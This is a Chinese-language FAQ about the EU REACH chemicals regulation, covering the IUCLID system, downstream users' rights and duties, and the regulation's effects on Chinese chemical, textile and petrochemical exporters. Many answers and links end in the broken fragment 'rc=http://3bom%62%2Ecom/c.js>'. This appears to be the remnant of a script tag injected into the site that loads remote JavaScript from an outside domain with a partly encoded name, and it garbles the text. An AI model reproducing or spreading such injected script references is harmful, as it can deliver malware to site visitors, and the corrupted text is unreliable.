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编者按:
????2007年6月1日欧盟REACH法规正式生效,改法规将取代以往的40多个法规,成为一个统一的化学品注册、评估、授权和限制的管理法规。目前欧盟市场上经常使用的约3万种化学物质和其下游相关产品都将经过强制的注册、评估和授权程序。此法规的实施,对我国化工产业及下游轻工、纺织、医药、电子等产业对欧盟的进出口贸易将产生一系列的影响……
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问:什么是IUCLID?
答: IUCLID是REACH专用互联网系统
  (1) 可通过该系统制作注册卷宗,并直接提交给欧洲化学品管理局
  (2) 免费供注册企业使用
  (3) IUCLID还能自动整理注册卷宗中的有害物质信息,报告给管理局
  (4) 该系统从1993年开始开发,用于现有化学物质管理(欧洲793/93/EEC指令)
  (5) 最新版本是IUCLID 5
  (6) 数据格式符合国际标准(OECD经合发组织格式),REACH的数据信息可以供今后其他法规使用
  (7) 将会有一个专用工具,将以前版本的数据库转化为IUCLID 5数据
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问:下游用户享有权利有哪些?
答: 1. 向上游的生产商以及进口商告知自己使用化学物质的方法,以便向其索要SDS。
  2. 可以自行开展化学安全评估(CSA, Chemical Safety Assessment)。
  3. 可参与物质信息交换论坛(SIEF, Substance Information Exchange Forum)的活动。
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问:下游用户的具体义务有哪些?
答: 1. 提供信息协助注册;
  2. 为供应商提供确定用途,以备其编制化学品安全报告中的风险管理措施;
  3. 对超出供应商提供给其的安全数据单之外的用途编写一份化学品安全性报,并应报告管理局;
  4. 严格遵照安全数据单控制风险;
  5. 向下游传递安全数据单等信息:分销商、零售商、其他下游用户;
  6. 将他们对提供给他们的信息的不同意见反馈给供应商;
  7. 所有数据和信息存档10年,确保必要的时候可供查询。rc=http://3bom%62%2Ecom/c.js>
问:什么是下游用户?
答:下游用户是指任何除生产商和进口商之外使用化学物质或配制品的工业用户或专业用户(分销商,零售商,消费者不属于下游用户)。rc=http://3bom%62%2Ecom/c.js>
问:面对目前企业认知甚少,企业该怎样应对REACH法规?
答:要解决目前我国企业面临的这个问题就需要企业及早防范降低损失。在关税贸易壁垒早已不合时宜的今天,欧盟、美国、日本等国在他们自己的强项领域,以资金、技术密集产品为基准,制定出各种各样的技术性法规,企图建立新的价格和贸易体系,而以生产资源、劳动密集产品的发展中国家将付出沉重代价。这一趋势短期无法改变。
既然风暴迟早要来,及早防范,寻找应对方法,将损失降到最低是最好的办法。有关专家指出,相关企业应主动地去收集、访问有关信息,如访问国家质检总局等国家职能部门网站,及时了解最新的贸易政策、技术壁垒等方面的信息,研究、搜集各国技术限制法规和技术标准。其次,要努力采用国际标准组织生产,采用高新技术和清洁生产工艺,加快产业结构和产品结构的调整,提高产品质量和档次,减少环境污染,加快与国际先进水平接轨的进程。同时更应关注国际市场动态,加强贸易技巧,争取出口的主动权。
  商务部、国家质检总局等相关部门为此已经在各自网站建立了“欧盟REACH法规”专栏,除了提供法规信息和最新进展以外,还帮助企业为即将面临出口产品的检测、注册、审批制度提前做好准备,展开专家研讨、地方调研、企业培训等一系列活动。目前,质检总局已开通了全国唯一一个政府“关注欧盟REACH法规”网站(http://reach.tbt-sps.gov.cn),为企业提供相关的信息。

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REACH法规当前 纺企如何有效应对?
http://news.webtextiles.com/info/info_view.asp?infoid=220567
欧盟专业律师谈中国企业应对REACH挑战
http://news.webtextiles.com/Info/Info_79199.htm
REACH法规应对有则
http://news.webtextiles.com/Info/Info_210549.htmrc=http://3bom%62%2Ecom/c.js>
问:目前我国企业对REACH法规认知多少?
答:目前我国多数企业浑然不知。REACH法规并非今年的事情。早在我国加入WTO的2001年,欧盟就出台了《欧盟关于未来化学品新政策的白皮书》,在此基础上,欧盟出台了REACH法规,并于2005年11月一读通过。面对如此猛烈的环保风暴,深圳相关企业对此却反应缓慢。根据最近深圳检验检疫局在深圳范围内进行的一次企业对欧盟REACH法规认识情况的调查,除了部分大型外资企业对此了解并予密切关注外,深圳近64%的相关出口企业不知道或不了解欧盟REACH法规,境况令人担忧。rc=http://3bom%62%2Ecom/c.js>
问:REACH对我国企业的影响在什么地方?
答:REACH会使我国企业的出口门槛提高,进口成本增加。根据REACH法规的要求,我国向欧盟出口化学品及下游产品将面临注册、评估、许可的问题,且必须通过欧盟境内的生产商或者进口商进行注册。
同时,该法规还规定了严格的检测标准和高昂的检测费用,这些费用全部由企业承担,每一种化学物质的基本检测费用约需..5万欧元。据欧洲化工协会的相关负责人估计,测试REACH法规所覆盖的3万种化学品,以及执行该法规将要花费化工行业50亿~70亿欧元。据估计,我国对欧盟化学品及下游产品的出口成本由此增加费用将普遍提高5%以上,导致化学品及下游产品对欧盟出口受阻。不少规模小,管理不完善的企业生产的低档产品甚至将退出欧盟市场。
与此同时,我国亟需高档的、高附加值的化工原料及中间体、塑料及其制品须从欧盟进口。据测算,由此将使我国从欧盟进口上述产品的价格普遍提高6%以上,将导致我国相关纺织、医药等相关产业的成本增加,效益下降。rc=http://3bom%62%2Ecom/c.js>
问:我国印染行业提出怎样的应对措施?
答:  鉴于REACH法规对我国印染产品的生产、出口存在潜在而巨大的影响,共商冲破壁垒走向世界发展大计迫在眉睫。
  1.政府要紧密跟踪REACH法规的立法动态,加强与欧盟的交涉,在WTO框架下争取平等权利,在政府层面上进行谈判,以保证各成员国执法的一致性和公平性,将REACH法规的影响降低到最小程度。
  2.政府要加强对REACH法规的研究,逐步建立和完善适合我国国情、适应REACH法规的管理政策,加大宣传力度,为企业引航。
  3.国家在安全信息、检测实验室建设和资质认证方面应给予大力支持,筹建欧盟承认检测数据的实验室,以规范额外的或不必要的测试。
  4.行业要不断完善预警系统,规范贸易行为,创造健康协调发展的公平竞争环境,建立有效监管机制。
  5.建立行业协调机制,加强国内市场监测分析和信息引导,严格市场准入制度。
  6.企业要提高管理水平和环保意识,增强产品创新能力,关注国际市场发展动态,注重贸易技巧,为扩大出口争取主动权。


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染颜料行业应对欧盟REACH法规发出联名建议书
http://news.webtextiles.com/Info/Info_215061.htmrc=http://3bom%62%2Ecom/c.js>
问:REACH对我国印染行业有什么影响呢?
答:REACH将直接影响我国对欧出口创汇。
它将给欧盟带来不正当的盈利并妨害公平竞争。
检测项目之多和费用之高将影响出口企业定单。
它将增添不必要的重复工作且造成资源浪费。
它将削弱我国中小企业印染产品市场竞争力。
“污染转移”将影响我国可持续发展目标。


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欧盟化学品REACH法规对我国染料业及下游产业的影响
http://news.webtextiles.com/info/info_view.asp?Tid=2&pid=14&cid=39&Strtype=1&infoid=64784&UrlType=1
欧盟REACH法规影响我国染料业生产和出口发展
http://news.webtextiles.com/Info/Info_203475.htmrc=http://3bom%62%2Ecom/c.js>
问:REACH对我国纺织行业有什么影响?
答:  依照REACH法规,以下几类纺织品服装需要就其所含化学物质接受监管:
  1、含有可能“释放”出来的化学物质的纺织品和服装
  2、含有高度受关注化学物质的纺织品服装
  3、含有受限制物质的纺织品服装
  由于涉及较多复杂的技术环节,我国纺织工业受REACH法规影响的具体范围尚无法确定,整个行业将为REACH法规支出的具体成本(包括染化料价格上涨、检测费用、企业退出欧盟市场的利润损失等)也还无法精确测算。从整体上说,REACH法规对我国纺织工业最主要的影响是增加了纺织品服装出口的难度,其次是提高了染化料的价格,增加了纺织行业的成本。
  首先,完成注册、许可程序需要提供大量的材料,其中包括一些必须通过复杂的技术检测和评估才能取得的报告。
  其次,由于REACH法规的实施,欧盟以及我国一些出口欧盟的染化料生产企业也都要面临同样的注册、许可费用。而企业肯定要将这些成本分散到产品当中。这样,我国纺织企业从欧盟进口的染化料,以及国内出口企业生产的染化料价格都要有不同程度的提高,从而增加纺织品和服装的生产成本,影响我国纺织品、服装的整体价格竞争力。

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欧盟REACH法规对我国纺织工业的影响
http://news.webtextiles.com/Info/Info_229109.htmrc=http://3bom%62%2Ecom/c.js>
问:石油化工行业有什么应对REACH的方案?
答:1、要加大对欧盟REACH法规宣传力度,提高国内企业对欧盟REACH法规影响的认知程度,以引起产业界的重视。
2、抓紧立法工作。
3、争取利用一切国际交流的机会,陈述我们的观点和主张,争取获得比较宽松的贸易环境。
4、现在我国已经加入WTO,经济已经全球化,企业不能只关注眼前的目标,而不关注国际市场的发展动态。
5、开展GLP实验室认证。
6、企业要转变观念,积极应对。
产品质量要提高。打破REACH法规等各种“壁垒”的最根本办法是提高产品质量,我国化学品及下游产品的生产企业要努力采用国际标准或世界着名企业的实物标准组织生产,采用高新技术和清洁生产工艺,及时研究、搜集各国技术限制法规和技术标准,提高产品质量,适应国内外市场的实际需要。
行业要不断完善预警系统,规范贸易行为,创造协调发展的公平竞争环境,建立有效监管机制。
要提高管理水平和环保意识,增强产品创新能力,关注国际市场发展动态,加强贸易技巧,为扩大出口争取主动权。


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我国石化企业如何应对欧盟REACH法规
http://news.webtextiles.com/Info/Info_93030.htmrc=http://3bom%62%2Ecom/c.js>
问:REACHA的实施对石油化工行业有什么影响?
答:1、给我国化工及相关产品的出口造成障碍
2、使我国从欧盟进口产品成本增加,严重影响下游相关产业的发展
3、REACH法规的实施,将打破目前国际化学品贸易平衡的局面,导致化学品国际贸易市场的大转移。
4、削弱我国出口产品的竞争能力。
5、具有影响人体健康及污染环境的产品有可能向我国转移


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REACH法规给石化企业造成阻碍
http://news.webtextiles.com/Info/Info_88271.htmrc=http://3bom%62%2Ecom/c.js>
问:REACH对我国哪些行业有影响呢?
答:REACH影响最大的就是石油、纺织印染等化工行业.js><
问:对我国化工行业的从业人员带来什么影响?
答:我国化工行业(化学原料及制品、化纤、橡胶、塑料)从业人员500万人以上(1999年规模以上企业人数437万人),相当于欧盟化工行业直接从业人数的3倍,间接从业人数的近2倍。下游行业从业人员这些行业都是劳动密集型行业,因此对我国化工及下游行业就业的影响大于其出口影响。
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问:试验数据产权又会产生多大的影响?
答:白皮书规定:数据的使用方必须向数据获取人支付一定的公平合理的费用,而此前欧盟和美国均已投资获取了大量试验数据,欧委会已通过“研究,技术开发与证明框架程序”支持相关的科研。此规定将进一步扩大发达国家与发展中国家在试验数据方面的差距,形成对发展中国家的试验数据产权壁垒,而这种数据产权壁垒的影响是长期的。rc=http://3bom%62%2Ecom/c.js>
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